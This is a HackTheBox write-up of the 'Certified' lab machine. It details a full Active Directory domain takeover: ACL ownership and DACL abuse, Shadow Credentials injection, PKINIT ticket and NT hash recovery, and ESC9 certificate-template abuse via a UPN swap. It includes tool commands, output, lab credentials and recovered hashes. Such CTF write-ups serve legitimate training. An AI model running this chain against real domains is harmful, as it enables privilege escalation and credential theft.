Certified is a medium-difficulty HackTheBox machine that begins with low-privileged credentials for an Active Directory domain controller. Leveraging WriteOwner permissions over the MANAGEMENT domain group, ownership is taken, and the DACL is modified to grant full control. Shadow Credentials injection against management_svc yields a Kerberos TGT and NTLM hash for initial WinRM access. Lateral movement to ca_operator is achieved via GenericAll rights using a second Shadow Credentials attack. AD CS enumeration reveals an ESC9 vulnerability on the CertifiedAuthentication certificate template. By temporarily updating ca_operator's userPrincipalName to Administrator, requesting a certificate lacking an object SID extension, and reverting the UPN, PKINIT authentication successfully yields a TGT and recovers the Domain Administrator NTLM hash for full domain compromise.
As is common in Windows pentests, you will start the Certified box with credentials for the following account: Username: judith.mader Password: judith09
1. Initial Reconnaissance & Service Scanning
1.1 NMAP Service Discovery
As the first step, I ran an NMAP scan on the target machine to get a better idea of the target machine. I used nmap -sC -sV -O certified.htb -oN nmap_scan to scan the open ports and services.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-06 06:14 -0400 Nmap scan report for certified.htb (10.129.231.186) Host is up (0.50s latency). Not shown: 988 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-10-07 17:23:40Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb, Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:DC01.certified.htb, DNS:certified.htb, DNS:CERTIFIED | Not valid before: 2025-06-11T21:05:29 |_Not valid after: 2105-05-23T21:05:29 |_ssl-date: 2026-10-07T17:25:23+00:00; +1d07h08m26s from scanner time. 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb, Site: Default-First-Site-Name) |_ssl-date: 2026-10-07T17:25:22+00:00; +1d07h08m27s from scanner time. | ssl-cert: Subject: | Subject Alternative Name: DNS:DC01.certified.htb, DNS:certified.htb, DNS:CERTIFIED | Not valid before: 2025-06-11T21:05:29 |_Not valid after: 2105-05-23T21:05:29 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb, Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:DC01.certified.htb, DNS:certified.htb, DNS:CERTIFIED | Not valid before: 2025-06-11T21:05:29 |_Not valid after: 2105-05-23T21:05:29 |_ssl-date: 2026-10-07T17:25:23+00:00; +1d07h08m27s from scanner time. 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb, Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:DC01.certified.htb, DNS:certified.htb, DNS:CERTIFIED | Not valid before: 2025-06-11T21:05:29 |_Not valid after: 2105-05-23T21:05:29 |_ssl-date: 2026-10-07T17:25:22+00:00; +1d07h08m27s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2019|10 (97%) OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10 Aggressive OS guesses: Microsoft Windows Server 2019 (97%), Microsoft Windows 10 1903 - 22H2 (91%) No exact OS matches for host (test conditions non-ideal). Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required | smb2-time: | date: 2026-10-07T17:24:42 |_ start_date: N/A |_clock-skew: mean: 1d07h08m26s, deviation: 0s, median: 1d07h08m26s OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 143.33 seconds
Based on the scan results, the target is an Active Directory Domain Controller.
- Port 53 is running the Simple DNS Plus Service.
- Port 88 is running the Kerberos Key Distribution Centre (KDC)
- Port 135 is running the RPC Endpoint Mapper(MSRPC)
- Ports 139 and 445 are running NetBIOS / SMB File Share Service
- Ports 389 and 636 are running Lightweight Directory Access Protocol (LDAP / LDAPS)
- Ports 3268 / 3269 are running Active Directory Global Catalogue (LDAP GC / GCS) Service
- Port 5985 is running Windows Remote Management (WinRM)
1.2 SMB Share Enumeration
Since there are credentials supplied, I decided to enumerate the SMB shares first. I discovered three shares that judith.mader had read access to, but I was unable to find any useful information.
SMB 10.129.231.186 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.231.186 445 DC01 [+] certified.htb\judith.mader:judith09 SMB 10.129.231.186 445 DC01 [*] Enumerated shares SMB 10.129.231.186 445 DC01 Share Permissions Remark SMB 10.129.231.186 445 DC01 ----- ----------- ------ SMB 10.129.231.186 445 DC01 ADMIN$ Remote Admin SMB 10.129.231.186 445 DC01 C$ Default share SMB 10.129.231.186 445 DC01 IPC$ READ Remote IPC SMB 10.129.231.186 445 DC01 NETLOGON READ Logon server share SMB 10.129.231.186 445 DC01 SYSVOL READ Logon server share
2. Enumeration & ACL Manipulation
2.1 Domain ACL Mapping
To map the AD delegation paths, permissions, domain structure and security, I used bloodhound-python.
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3) INFO: Found AD domain: certified.htb INFO: Getting TGT for user WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) INFO: Connecting to LDAP server: dc01.certified.htb INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 1 computers INFO: Connecting to LDAP server: dc01.certified.htb INFO: Found 10 users INFO: Found 53 groups INFO: Found 2 gpos INFO: Found 1 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: DC01.certified.htb INFO: Done in 01M 54S
Based on the results, Bloodhound found 10 users, 53 groups, 2 gpos, 1 ous and 19 containers. I was able to import the JSON files into Bloodhound.
2.2 Group Ownership & DACL Modification
Based on the Bloodhound ACL mapping, judith.mader has WriteOwner access over the group Management.
I was able to use impacket-owneredit to assign judith.mader as the new owner of the group.
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Current owner information below [*] - SID: S-1-5-21-729746778-2675978091-3820388244-512 [*] - sAMAccountName: Domain Admins [*] - distinguishedName: CN=Domain Admins,CN=Users,DC=certified,DC=htb [*] OwnerSid modified successfully!
Now judith.mader is the owner of the Management group. As the owner now, I can change the access of judith.mader to have FullControl over the group.
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies /usr/share/doc/python3-impacket/examples/dacledit.py:390: DeprecationWarning: codecs.open() is deprecated. Use open() instead. with codecs.open(self.filename, 'w', 'utf-8') as outfile: [*] DACL backed up to dacledit-20261006-090702.bak [*] DACL modified successfully!
3. Initial Compromise via Shadow Credentials (management_svc)
3.1 Group Membership
Based on Bloodhound mapping, the Management group has GenericWrite access to use management_svc.
But cull control and ownership are not membership. To abuse the GenericWrite as judith.mader, I need to grant membership to the group first.
net rpc group addmem "Management" "judith.mader" -U 'certified.htb/judith.mader%judith09' -S 10.129.231.186
3.2 Shadow Credentials Injection
After adding judith.mader as a member of the group, I was able to use pywhisker.py to inject shadow credentials for the management_svc user.
[*] Searching for the target account [*] Target user found: CN=management service,CN=Users,DC=certified,DC=htb [*] Generating certificate [*] Certificate generated [*] Generating KeyCredential [*] KeyCredential generated with DeviceID: b02a225b-7cf8-5b9c-2dcb-5b98068c4371 [*] Updating the msDS-KeyCredentialLink attribute of management_svc [+] Updated the msDS-KeyCredentialLink attribute of the target object [VERBOSE] No filename was provided. The certificate(s) will be stored with the filename: ApjbK3X5 [VERBOSE] No pass was provided. The certificate will be stored with the password: Mwnj1MEXYXCE8QpZd6sa [*] Converting PEM -> PFX with cryptography: ApjbK3X5.pfx pywhisker.py:132: CryptographyDeprecationWarning: Parsed a serial number which wasn't positive (i.e., it was negative or zero), which is disallowed by RFC 5280. Loading this certificate will cause an exception in a future release of cryptography. cert_obj = x509.load_pem_x509_certificate(pem_cert_data, default_backend()) [+] PFX exportiert nach: ApjbK3X5.pfx [i] Passwort für PFX: Mwnj1MEXYXCE8QpZd6sa [+] Saved PFX (#PKCS12) certificate & key at path: ApjbK3X5.pfx [*] Must be used with password: Mwnj1MEXYXCE8QpZd6sa [*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools [VERBOSE] Run the following command to obtain a TGT [VERBOSE] python3 PKINITtools/gettgtpkinit.py -cert-pfx ApjbK3X5.pfx -pfx-pass Mwnj1MEXYXCE8QpZd6sa certified.htb/management_svc ApjbK3X5.ccache
3.3 Kerberos TGT Acquisition via PKINIT
To authenticate using the certificate, I used gettgtpkinit.py from PKINITtools.
2026-10-07 16:37:13,188 minikerberos INFO Loading certificate and key from file 2026-10-07 16:37:13,237 minikerberos INFO Requesting TGT 2026-10-07 16:37:30,504 minikerberos INFO AS-REP encryption key (you might need this later): 2026-10-07 16:37:30,504 minikerberos INFO ce5eb88656935b3a7281cbd3a8ddb30552fc648824f5464c75fc97631d6d0688 2026-10-07 16:37:30,512 minikerberos INFO Saved TGT to file
The request returned a valid Kerberos Ticket Granting Ticket (TGT).
3.4 NTLM Hash Recovery
Using the TGT, I was able to get the manageent_svc user's NTLM hash using getnthash.py.
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies [*] Using TGT from cache [*] Requesting ticket to self with PAC Recovered NT Hash a091c1832bcdd4677c28b5a6a1295584
3.5 User Flag Capture
I was able to log in to the target machine as management_svc using the recovered NTML hash and retrieve the user flag.
*Evil-WinRM* PS C:\Users\management_svc\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\management_svc\Desktop> dir
Directory: C:\Users\management_svc\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 10/7/2026 10:15 AM 34 user.txt
*Evil-WinRM* PS C:\Users\management_svc\Desktop> type user.txt4. Lateral Movement (ca_operator)
There were no other users on the target machine other than management_svc and Administrator.
4.1 GenericAll Control Mapping
Reviewing the Bloodhound mapping, management_svc user holds explicit GenericAll access over ca_operator.
The GenericAll privilege grants full control over the target AD object, enabling full attribute manipulation, password resets, and Shadow Credentials injection.
4.2 Shadow Credentials Injection (ca_operator)
Even though GenericAll access allows resetting the password, it can disrupt domain services or alert monitoring. The safe alternative is to repeat the previous shadow credential attack against the ca_operator user using the management_svc user's NTLM hash.
[*] Searching for the target account [*] Target user found: CN=operator ca,CN=Users,DC=certified,DC=htb [*] Generating certificate [*] Certificate generated [*] Generating KeyCredential [*] KeyCredential generated with DeviceID: 79c55bf2-6fcd-dd8a-4e02-5ceac342ae2a [*] Updating the msDS-KeyCredentialLink attribute of ca_operator [+] Updated the msDS-KeyCredentialLink attribute of the target object [VERBOSE] No filename was provided. The certificate(s) will be stored with the filename: fnCuLv7w [VERBOSE] No pass was provided. The certificate will be stored with the password: tXDFaJlHuObaKocOedoy [*] Converting PEM -> PFX with cryptography: fnCuLv7w.pfx pywhisker.py:132: CryptographyDeprecationWarning: Parsed a serial number which wasn't positive (i.e., it was negative or zero), which is disallowed by RFC 5280. Loading this certificate will cause an exception in a future release of cryptography. cert_obj = x509.load_pem_x509_certificate(pem_cert_data, default_backend()) [+] PFX exportiert nach: fnCuLv7w.pfx [i] Passwort für PFX: tXDFaJlHuObaKocOedoy [+] Saved PFX (#PKCS12) certificate & key at path: fnCuLv7w.pfx [*] Must be used with password: tXDFaJlHuObaKocOedoy [*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools [VERBOSE] Run the following command to obtain a TGT [VERBOSE] python3 PKINITtools/gettgtpkinit.py -cert-pfx fnCuLv7w.pfx -pfx-pass tXDFaJlHuObaKocOedoy certified.htb/ca_operator fnCuLv7w.ccache
4.3 Kerberos TGT & NTLM Hash Recovery
After generating a certificate for ca_operator, I was able to use gettgtpkinit.py to request for a TGT.
2026-10-07 17:15:32,045 minikerberos INFO Loading certificate and key from file 2026-10-07 17:15:32,084 minikerberos INFO Requesting TGT 2026-10-07 17:15:48,857 minikerberos INFO AS-REP encryption key (you might need this later): 2026-10-07 17:15:48,857 minikerberos INFO 4bde428acd7be332f6b0e5a31cc09e6a3e4fbd5a6ff94991b0dd31aa5d7d8df5 2026-10-07 17:15:48,869 minikerberos INFO Saved TGT to file
The exploit returned a valid TGT. Next, I was able to retrieve the NTLM hash using getnthash.py.
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies [*] Using TGT from cache [*] Requesting ticket to self with PAC Recovered NT Hash b4b86f45c6018f1b664f70805f45d8f2
Since there is no ca_operator user on the target machine, I am not able to log in using WinRM.
5. AD CS Enumeration & ESC9 Exploitation
Usually, in AD environments, CA commonly refers to Certificate Authority / Active Directory Certificate Services. But based on the BloodHound results, ca_operator does not have any interesting privileges.
5.1 AD CS Enumeration & Template Discovery
Enumerating certificate services using certipy-ad, it flagged that there is a vulnerable ESC9 certificate template in use named CertifiedAuthentication.
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 15 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'certified-DC01-CA' via RRP
...
[*] Enumeration output:
...
Certificate Templates
0
Template Name : CertifiedAuthentication
Display Name : Certified Authentication
Certificate Authorities : certified-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireUpn
SubjectRequireDirectoryPath
Enrollment Flag : PublishToDs
AutoEnrollment
NoSecurityExtension
Extended Key Usage : Server Authentication
Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 1000 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2024-05-13T15:48:52+00:00
Template Last Modified : 2024-05-13T15:55:20+00:00
Permissions
Enrollment Permissions
Enrollment Rights : CERTIFIED.HTB\operator ca
CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Object Control Permissions
Owner : CERTIFIED.HTB\Administrator
Full Control Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Write Owner Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Write Dacl Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Write Property Enroll : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
[+] User Enrollable Principals : CERTIFIED.HTB\operator ca
[!] Vulnerabilities
ESC9 : Template has no security extension.
[*] Remarks
ESC9 : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
...
[*] Remarks
ESC2 Target Template : Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.
ESC3 Target Template : Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.5.2 UPN Manipulation & Certificate Enrollment
I was able to update the ca_operator user's User Principal Name(UPN) to Administrator.
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_operator':
userPrincipalName : Administrator
[*] Successfully updated 'ca_operatorThis is important because the certificate template is configured with SubjectAltRequireUpn. CA reads the account's current userPrincipalName from Active Directory when issuing a certificate. Setting the UPN to Administrator forces the CA to generate a certificate tied to the domain administrator identity.
5.3 Certificate Request
Authenticating as ca_operator, I was able to request a certificate.
Certipy v5.0.4 - by Oliver Lyak (ly4k) [*] Requesting certificate via RPC [*] Request ID is 5 [*] Successfully requested certificate [*] Got certificate with UPN 'Administrator' [*] Certificate has no object SID [*] Try using -sid to set the object SID or see the wiki for more details [*] Saving certificate and private key to 'administrator.pfx' [*] Wrote certificate and private key to 'administrator.pfx'
5.4 UPN Restoration
Before trying Kerberos authentication ca_operator UPN has to be reset to the original. This is important because, when authenticating, if the UPN is not reset, it might result in a UPN collision or map back to the ca_operator.
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_operator':
userPrincipalName : ca_operator@certified.htb
[*] Successfully updated 'ca_operator'5.5 PKINIT Authentication & Administrator Hash Extraction
With administrator.pfx generated and the ca_operator user's UPN restored, I was able to retrieve the NTLM hash for Administrator using certipy-ad.
Certipy v5.0.4 - by Oliver Lyak (ly4k) [*] Certificate identities: [*] SAN UPN: 'Administrator' [*] Using principal: 'administrator@certified.htb' [*] Trying to get TGT... [*] Got TGT [*] Saving credential cache to 'administrator.ccache' [*] Wrote credential cache to 'administrator.ccache' [*] Trying to retrieve NT hash for 'administrator' [*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34
6. Domain Privilege Escalation & Root Flag
With the NTLM hash for Administrator, I was able to use evil-winrm to log in to the target machine as Administrator and retrieve the root flag.
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 10/7/2026 10:15 AM 34 root.txt
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txtCongrats! We found both flags!
HTB Machine Completion